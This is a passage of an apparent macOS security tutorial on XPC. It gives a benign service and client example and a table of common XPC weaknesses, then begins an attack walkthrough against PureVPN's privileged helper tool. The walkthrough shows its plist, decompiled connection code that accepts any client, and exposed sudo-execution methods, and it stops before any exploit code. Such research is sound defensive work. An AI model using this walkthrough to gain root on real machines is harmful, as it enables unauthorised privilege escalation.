<span class="k">@interface</span> <span class="nc">Service</span> <span class="p">:</span> <span class="nc">NSObject</span> <span class="o">&lt;</span><span class="n">ServiceProtocol</span><span class="o">&gt;</span>
<span class="k">@end</span>
</code></pre></div></div>

<ul>
  <li>Define a protocol <code class="language-plaintext highlighter-rouge">ServiceProtocol</code> with a method <code class="language-plaintext highlighter-rouge">upperCaseString:withReply:</code>.</li>
  <li>Declare the <code class="language-plaintext highlighter-rouge">Service</code> class that conforms to this protocol.</li>
</ul>

<p><strong>Part 2</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@implementation</span> <span class="nc">Service</span>

<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">upperCaseString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">aString</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">reply</span> <span class="p">{</span>
    <span class="n">NSString</span> <span class="o">*</span><span class="n">response</span> <span class="o">=</span> <span class="p">[</span><span class="n">aString</span> <span class="nf">uppercaseString</span><span class="p">];</span>
    <span class="n">reply</span><span class="p">(</span><span class="n">response</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">@end</span>
</code></pre></div></div>

<ul>
  <li>Implement the <code class="language-plaintext highlighter-rouge">upperCaseString:withReply:</code> method to convert a string to uppercase and call the reply block with the result.</li>
</ul>

<p><strong>Part3</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@interface</span> <span class="nc">ServiceDelegate</span> <span class="p">:</span> <span class="nc">NSObject</span> <span class="o">&lt;</span><span class="n">NSXPCListenerDelegate</span><span class="o">&gt;</span>
<span class="k">@end</span>

<span class="k">@implementation</span> <span class="nc">ServiceDelegate</span>

<span class="k">-</span> <span class="p">(</span><span class="n">BOOL</span><span class="p">)</span><span class="nf">listener</span><span class="p">:(</span><span class="n">NSXPCListener</span> <span class="o">*</span><span class="p">)</span><span class="nv">listener</span> <span class="nf">shouldAcceptNewConnection</span><span class="p">:(</span><span class="n">NSXPCConnection</span> <span class="o">*</span><span class="p">)</span><span class="nv">newConnection</span> <span class="p">{</span>
    <span class="n">newConnection</span><span class="p">.</span><span class="n">exportedInterface</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSXPCInterface</span> <span class="nf">interfaceWithProtocol</span><span class="p">:</span><span class="k">@protocol</span><span class="err">(</span><span class="nc">ServiceProtocol</span><span class="p">)];</span>
    <span class="n">newConnection</span><span class="p">.</span><span class="n">exportedObject</span> <span class="o">=</span> <span class="p">[</span><span class="n">Service</span> <span class="nf">new</span><span class="p">];</span>
    <span class="p">[</span><span class="n">newConnection</span> <span class="nf">resume</span><span class="p">];</span>
    <span class="k">return</span> <span class="nb">YES</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">@end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">NSXPCListener</span> <span class="o">*</span><span class="n">listener</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSXPCListener</span> <span class="nf">serviceListener</span><span class="p">];</span>
        <span class="n">ServiceDelegate</span> <span class="o">*</span><span class="n">delegate</span> <span class="o">=</span> <span class="p">[</span><span class="n">ServiceDelegate</span> <span class="nf">new</span><span class="p">];</span>
        <span class="n">listener</span><span class="p">.</span><span class="n">delegate</span> <span class="o">=</span> <span class="n">delegate</span><span class="p">;</span>
        <span class="p">[</span><span class="n">listener</span> <span class="nf">resume</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>Define a <code class="language-plaintext highlighter-rouge">ServiceDelegate</code> class that conforms to <code class="language-plaintext highlighter-rouge">NSXPCListenerDelegate</code>.</li>
  <li>Implement the <code class="language-plaintext highlighter-rouge">listener:shouldAcceptNewConnection:</code> method to configure new connections.</li>
  <li>In the <code class="language-plaintext highlighter-rouge">main</code> function, create an <code class="language-plaintext highlighter-rouge">NSXPCListener</code> for the service, set its delegate, and resume it to start listening for connections.</li>
</ul>

<h4 id="xpc-client">XPC Client</h4>

<p><strong>main.m</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
</span>
<span class="k">@protocol</span> <span class="nc">ServiceProtocol</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">upperCaseString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">aString</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">reply</span><span class="p">;</span>
<span class="k">@end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">NSXPCConnection</span> <span class="o">*</span><span class="n">connection</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSXPCConnection</span> <span class="nf">alloc</span><span class="p">]</span> <span class="nf">initWithServiceName</span><span class="p">:</span><span class="s">@"com.example.service"</span><span class="p">];</span>
        <span class="n">connection</span><span class="p">.</span><span class="n">remoteObjectInterface</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSXPCInterface</span> <span class="nf">interfaceWithProtocol</span><span class="p">:</span><span class="k">@protocol</span><span class="err">(</span><span class="nc">ServiceProtocol</span><span class="p">)];</span>
        <span class="p">[</span><span class="n">connection</span> <span class="nf">resume</span><span class="p">];</span>

        <span class="n">id</span><span class="o">&lt;</span><span class="n">ServiceProtocol</span><span class="o">&gt;</span> <span class="n">proxy</span> <span class="o">=</span> <span class="p">[</span><span class="n">connection</span> <span class="nf">remoteObjectProxyWithErrorHandler</span><span class="p">:</span><span class="o">^</span><span class="p">(</span><span class="n">NSError</span> <span class="o">*</span><span class="n">error</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Remote proxy error: %@"</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
        <span class="p">}];</span>

        <span class="p">[</span><span class="n">proxy</span> <span class="nf">upperCaseString</span><span class="p">:</span><span class="s">@"hello, server!"</span> <span class="nf">withReply</span><span class="p">:</span><span class="o">^</span><span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="n">response</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Received response: %@"</span><span class="p">,</span> <span class="n">response</span><span class="p">);</span>
            <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
        <span class="p">}];</span>

        <span class="p">[[</span><span class="n">NSRunLoop</span> <span class="nf">currentRunLoop</span><span class="p">]</span> <span class="nf">run</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Define the <code class="language-plaintext highlighter-rouge">ServiceProtocol</code> to match the service protocol. Create an <code class="language-plaintext highlighter-rouge">NSXPCConnection</code> with the service name <code class="language-plaintext highlighter-rouge">com.example.service</code>. Then Set the remote object interface using <code class="language-plaintext highlighter-rouge">NSXPCInterface</code> with the <code class="language-plaintext highlighter-rouge">ServiceProtocol</code>. Resume the connection to start communication. After that Get a remote object proxy that conforms to <code class="language-plaintext highlighter-rouge">ServiceProtocol</code> and Call the <code class="language-plaintext highlighter-rouge">upperCaseString:withReply:</code> method on the proxy with a string and a reply block. Start the run loop to keep the client running until the reply is received.</p>

<pre><code class="language-mermaid">sequenceDiagram
    participant Client
    participant NSXPCConnection
    participant NSXPCListener
    participant Service

    Client-&gt;&gt;NSXPCConnection: Create connection to "com.example.service"
    NSXPCConnection-&gt;&gt;NSXPCListener: Establish connection
    Client-&gt;&gt;Service: Send request "hello, server!"
    Service-&gt;&gt;Service: Process the request
    Service--&gt;&gt;Client: Send response "HELLO, SERVER!"
</code></pre>

<h2 id="when-xpc-can-be-vulnerable">When XPC can be vulnerable</h2>

<table>
  <thead>
    <tr>
      <th><strong>Condition</strong></th>
      <th><strong>Description</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Service doesn’t verify at all</td>
      <td>If the service doesn’t perform any verification, it is highly susceptible to exploitation. For example, an XPC service that accepts any connection without checking credentials.</td>
    </tr>
    <tr>
      <td>Client verification process can be subverted allowing custom process connection</td>
      <td>If the verification process for clients connecting to an XPC service is flawed, attackers can bypass it and connect using a custom process. For example, forging client credentials to access the service.</td>
    </tr>
    <tr>
      <td>Code injection against the XPC client</td>
      <td>Exploiting vulnerabilities to inject code into the client of an XPC service can allow attackers to gain unauthorized access or perform malicious actions. For example, injecting malicious code into a client to control its interactions with the XPC service.</td>
    </tr>
    <tr>
      <td>DYLIB attacks against XPC client</td>
      <td>Dynamic Library (DYLIB) attacks involve injecting malicious libraries into the client process to exploit the XPC service. For instance, using DYLD_INSERT_LIBRARIES to load a malicious library.</td>
    </tr>
    <tr>
      <td>com.apple.security.get-task-allow entitlement</td>
      <td>This entitlement allows debuggers to connect, which can be exploited if applied to production binaries, potentially allowing unauthorized access. For example, an attacker can use this to debug and manipulate the service.</td>
    </tr>
    <tr>
      <td>com.apple.security.cs.allow-dyld-environment-variables entitlement set to “true”</td>
      <td>If this entitlement is enabled, it allows dynamic library injection via environment variables, posing a significant security risk. For example, setting environment variables to load a malicious library.</td>
    </tr>
    <tr>
      <td>com.apple.security.cs.disable-library-validation entitlement</td>
      <td>This entitlement permits loading of third-party signed dynamic libraries, which can be exploited to run malicious code. For instance, loading an unsigned malicious library into a service.</td>
    </tr>
    <tr>
      <td>Service does not verify connecting process is signed with Apple-signed certificate</td>
      <td>Ensuring the connecting process has a valid Apple-signed certificate prevents unauthorized access from self-signed or fake certificates. For example, an attacker using a fake certificate to connect.</td>
    </tr>
    <tr>
      <td>Service does not verify team ID of the connecting process</td>
      <td>Verifying the team ID ensures the connecting process belongs to the intended organization, blocking access from unauthorized entities. For example, an attacker using their own developer certificate to connect.</td>
    </tr>
    <tr>
      <td>Service does not verify proper bundle ID</td>
      <td>Checking the bundle ID helps reduce the attack surface by limiting connections to known, trusted applications. For example, an attacker spoofing a trusted application’s bundle ID.</td>
    </tr>
    <tr>
      <td>Service does not verify software version number</td>
      <td>Verifying the software version ensures that only updated, secure clients can connect, reducing risks from older, vulnerable versions. For example, using an outdated vulnerable client to exploit the service.</td>
    </tr>
    <tr>
      <td>Service does not verify code signing properties</td>
      <td>Proper verification of code signing attributes ensures that only legitimate and unaltered applications can connect to the service. For example, connecting with a modified client that bypasses security checks.</td>
    </tr>
    <tr>
      <td>Service does not require specific entitlement for connection (for Apple binaries)</td>
      <td>Requiring specific entitlements for connection adds an additional layer of security, ensuring that only authorized applications can access the service. For example, an attacker bypassing entitlement checks.</td>
    </tr>
    <tr>
      <td>Service uses PID for verification instead of audit token</td>
      <td>Using an audit token instead of a process ID for verification prevents PID reuse attacks, enhancing the security of the service connection process. For example, an attacker reusing a PID to gain access.</td>
    </tr>
  </tbody>
</table>

<h2 id="guide-for-attacking-xpc">Guide for Attacking XPC</h2>

<p>I will be using <code class="language-plaintext highlighter-rouge">PureVpn.app</code> as an example for the guide.</p>
<h3 id="find-mach-services--privileged-tools">Find Mach Services &amp; Privileged Tools</h3>
<p>You can find <code class="language-plaintext highlighter-rouge">XPC</code> related to an App, In 2 places either inside the app under:</p>
<ul>
  <li>/Applications/theapp.app/Contents/XPCServices</li>
  <li>/Applications/theapp.app/Contents/Library
And in the following directories the configuerations:</li>
  <li>/System/Library/LaunchDaemons</li>
  <li>/Library/LaunchDaemons</li>
  <li>/System/Library/LaunchAgents</li>
  <li>/Library/LaunchAgents
Mostly The <code class="language-plaintext highlighter-rouge">HelperTools</code> is under <code class="language-plaintext highlighter-rouge">/Library/PrivilegedHelperTools/</code>.</li>
</ul>

<h4 id="identify-the-services--privileged-tools">Identify the Services &amp; Privileged Tools</h4>

<p>Under <code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons</code>, Wew can see the <code class="language-plaintext highlighter-rouge">LaunchDaemons</code> related to <code class="language-plaintext highlighter-rouge">PureVpn</code>:</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ % <span class="nb">ls</span> /Library/LaunchDaemons | <span class="nb">grep </span>pure
com.purevpn.macapp.HelperTool.plist
</code></pre></div></div>

<p>When we look at the <code class="language-plaintext highlighter-rouge">com.purevpn.macapp.HelperTool.plist</code>, We can see the following:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
	<span class="nt">&lt;key&gt;</span>Debug<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;true/&gt;</span>
	<span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>com.purevpn.macapp.HelperTool<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;key&gt;</span>MachServices<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;dict&gt;</span>
		<span class="nt">&lt;key&gt;</span>com.purevpn.macapp.HelperTool<span class="nt">&lt;/key&gt;</span>
		<span class="nt">&lt;true/&gt;</span>
	<span class="nt">&lt;/dict&gt;</span>
	<span class="nt">&lt;key&gt;</span>Program<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;array&gt;</span>
		<span class="nt">&lt;string&gt;</span>/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;/array&gt;</span>
	<span class="nt">&lt;key&gt;</span>StandardErrorPath<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>/var/log/PureVPNHelperLayer.log<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;key&gt;</span>StandardOutPath<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>/var/log/PureVPNHelperLayer.log<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>We can see 2 things here, <code class="language-plaintext highlighter-rouge">MachServices</code>, Let’s Note it. And the <code class="language-plaintext highlighter-rouge">HelperTool</code> under the following path <code class="language-plaintext highlighter-rouge">/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool</code>.</p>

<h3 id="authorization--verification">Authorization &amp; Verification</h3>

<p>Before Connecting to the <code class="language-plaintext highlighter-rouge">HelperTool</code>, There are some authorizations &amp; verifications to be done to make sure of the client who is connecting, We have <code class="language-plaintext highlighter-rouge">EvenBetterAuthorization</code>, You can read about it from <a href="https://theevilbit.github.io/posts/secure_coding_xpc_part1/">here</a> to understand why it’s not enough for securing for verifying the client.</p>

<h3 id="reverse-helpertool">Reverse HelperTool</h3>

<p>The first thing We have to do, When we get to reverse the <code class="language-plaintext highlighter-rouge">HelperTool</code>. Is to check the verifications for connecting to the services:</p>

<pre><code class="language-Obj-c">/* @class HelperTool */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    r15 = self;
    rbx = [arg2 retain];
    var_30 = rbx;
    r12 = [arg3 retain];
    rax = [r15 listener];
    rax = [rax retain];
    if (rax == rbx) {
            [rax release];
            if (r12 != 0x0) {
                    rbx = [[NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)] retain];
                    [r12 setExportedInterface:rbx];
                    [rbx release];
                    [r12 setExportedObject:r15];
                    [r12 resume];
                    [r12 release];
                    [var_30 release];
                    rax = 0x1;
            }
            else {
                    rax = __assert_rtn("-[HelperTool listener:shouldAcceptNewConnection:]", "/Users/salmanahmed/Projects/Xcode-Project/Git-Repo/PureVPNMac-Project/PureVPN-Repo/purevpn-mac-app/HelperTool/HelperTool.m", 0x7c, "newConnection != nil");
            }
    }
    else {
            rax = __assert_rtn("-[HelperTool listener:shouldAcceptNewConnection:]", "/Users/salmanahmed/Projects/Xcode-Project/Git-Repo/PureVPNMac-Project/PureVPN-Repo/purevpn-mac-app/HelperTool/HelperTool.m", 0x7a, "listener == self.listener");
    }
    return rax;
}
</code></pre>

<p>We can see here that, Anyone can connect to the <code class="language-plaintext highlighter-rouge">XPC</code> without any verifications. Now, It’s time to check the methods offered by <code class="language-plaintext highlighter-rouge">com.purevpn.macapp.HelperTool</code>. That can be exploited, We will use <a href="http://stevenygard.com/blog/2013/11/16/class-dump-3-dot-5-is-now-available/">class-dump</a>, We got the following results:</p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@protocol</span> <span class="nc">HelperToolProtocol</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">runWithCommand</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withArguments</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">usingSudo</span><span class="p">:(</span><span class="n">BOOL</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg4</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">setSecureDNSWithServiceId</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withDNS</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">WithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg3</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">setMTUInterface</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">mtuValue</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">WithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg3</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">disconnectSSTP</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executeSudo</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">WithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="kt">_Bool</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg2</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">connectSSTP</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withAccount</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">andPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">Executable</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">mtuInterfaceValue</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg5</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg6</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">copyIPSECFiles</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">copySSTPFiles</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executePreferencesRefInHelperToolWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executeTestFunctionInHelperToolWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">getVersionsWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">deactivateOnStartupWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">activateOnStartupWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">removeAllRulesWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">setRules</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg2</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">setIpv6Leak</span><span class="p">:(</span><span class="n">BOOL</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">networkInterfaces</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg3</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executeVPNServiceConfigServer</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withAccount</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">andPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">andShareSecret</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">andType</span><span class="p">:(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">)</span><span class="nv">arg5</span> <span class="nf">HelperToolWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="nv">arg6</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">createXAuthKeyChainItemAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">lable</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">forService</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg5</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">createSharedSecretKeyChainItemAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">lable</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">forService</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg5</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">createPasswordKeyChainItemAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">lable</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">forService</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withAccount</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">andPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg5</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg6</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">createServicesAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">configObj</span><span class="p">:(</span><span class="n">NewVPNServiceConfig</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">usingPreferencesRef</span><span class="p">:(</span><span class="n">SCPreferencesRef</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg4</span><span class="p">;</span>
